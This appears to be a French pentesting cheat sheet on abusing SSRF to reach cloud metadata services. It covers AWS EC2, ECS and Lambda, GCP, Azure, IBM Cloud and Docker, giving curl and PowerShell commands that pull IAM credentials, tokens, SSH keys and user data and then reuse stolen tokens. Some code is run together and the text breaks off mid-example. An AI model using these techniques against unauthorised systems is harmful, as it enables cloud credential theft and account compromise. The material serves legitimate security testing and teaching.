La métadonnée peut être accédée depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Elle est accessible à l'URL : http://169.254.169.254 (informations sur la métadonnée ici).
Il existe 2 versions de la métadonnée. La première permet d'accéder à la métadonnée via des requêtes GET (donc toute SSRF peut l'exploiter). Pour la version 2, IMDSv2, vous devez demander un jeton en envoyant une requête PUT avec un en-tête HTTP puis utiliser ce jeton pour accéder à la métadonnée avec un autre en-tête HTTP (donc c'est plus compliqué à exploiter avec une SSRF).
Notez que si l'instance EC2 impose IMDSv2, selon la documentation, la réponse de la requête PUT aura une limite de saut de 1, rendant impossible l'accès à la métadonnée EC2 depuis un conteneur à l'intérieur de l'instance EC2.
De plus, IMDSv2 bloquera également les requêtes pour récupérer un jeton qui incluent l'en-tête X-Forwarded-For. Cela vise à empêcher les proxies inverses mal configurés d'y accéder.
Remarquez le aws_session_token, c'est indispensable pour que le profil fonctionne.
PACU peut être utilisé avec les identifiants découverts pour connaître vos privilèges et essayer d'escalader les privilèges
SSRF dans les informations d'identification AWS ECS (Container Service)
ECS, est un groupe logique d'instances EC2 sur lesquelles vous pouvez exécuter une application sans avoir à mettre à l'échelle votre propre infrastructure de gestion de cluster car ECS s'occupe de cela pour vous. Si vous parvenez à compromettre le service s'exécutant dans ECS, les points de terminaison de métadonnées changent.
Si vous accédez à http://169.254.170.2/v2/credentials/<GUID> vous trouverez les informations d'identification de la machine ECS. Mais d'abord, vous devez trouver le <GUID>. Pour trouver le <GUID>, vous devez lire la variable environAWS_CONTAINER_CREDENTIALS_RELATIVE_URI à l'intérieur de la machine.
Vous pourriez être en mesure de le lire en exploitant une traversal de chemin vers file:///proc/self/environ
L'adresse http mentionnée devrait vous donner l'AccessKey, SecretKey et le jeton.
Notez que dans certains cas, vous pourrez accéder à l'instance de métadonnées EC2 à partir du conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, à partir du conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2.
SSRF pour AWS Lambda
Dans ce cas, les informations d'identification sont stockées dans des variables d'environnement. Ainsi, pour y accéder, vous devez accéder à quelque chose comme file:///proc/self/environ.
Les noms des variables d'environnement intéressantes sont :
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
De plus, en plus des informations d'identification IAM, les fonctions Lambda ont également des données d'événement qui sont transmises à la fonction lors de son démarrage. Ces données sont mises à la disposition de la fonction via l'interface d'exécution et pourraient contenir des informations sensibles (comme à l'intérieur des stageVariables). Contrairement aux informations d'identification IAM, ces données sont accessibles via SSRF standard à http://localhost:9001/2018-06-01/runtime/invocation/next.
Notez que les informations d'identification lambda se trouvent dans les variables d'environnement. Ainsi, si la trace de la pile du code lambda imprime les variables d'environnement, il est possible de les exfiltrer en provoquant une erreur dans l'application.
URL SSRF pour AWS Elastic Beanstalk
Nous récupérons l'accountId et la région à partir de l'API.
Pour utiliser le jeton de compte de service exfiltré, vous pouvez simplement faire :
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de métadonnées
# PowershellInvoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))# Paths/metadata/instance?api-version=2017-04-02/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text/metadata/instance/compute/userData?api-version=2021-01-01&format=text
Azure App Service
À partir de env, vous pouvez obtenir les valeurs de IDENTITY_HEADERetIDENTITY_ENDPOINT. Vous pouvez les utiliser pour récupérer un jeton afin de communiquer avec le serveur de métadonnées.
La plupart du temps, vous voulez un jeton pour l'une de ces ressources :
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Notez qu'avec IBM, par défaut, les métadonnées ne sont pas activées, il est donc possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une machine virtuelle IBM Cloud.
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys infocurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user datacurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groupscurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentialscurl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
La documentation des services de métadonnées de différentes plateformes est décrite ci-dessous, mettant en évidence les méthodes permettant d'accéder aux informations de configuration et d'exécution des instances. Chaque plateforme propose des points de terminaison uniques pour accéder à ses services de métadonnées.
Les métadonnées Docker peuvent être consultées localement, avec des exemples donnés pour la récupération des informations sur les conteneurs et les images :
Exemple simple pour accéder aux métadonnées des conteneurs et des images via le socket Docker :
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
À l'intérieur du conteneur, utilisez curl avec le socket Docker :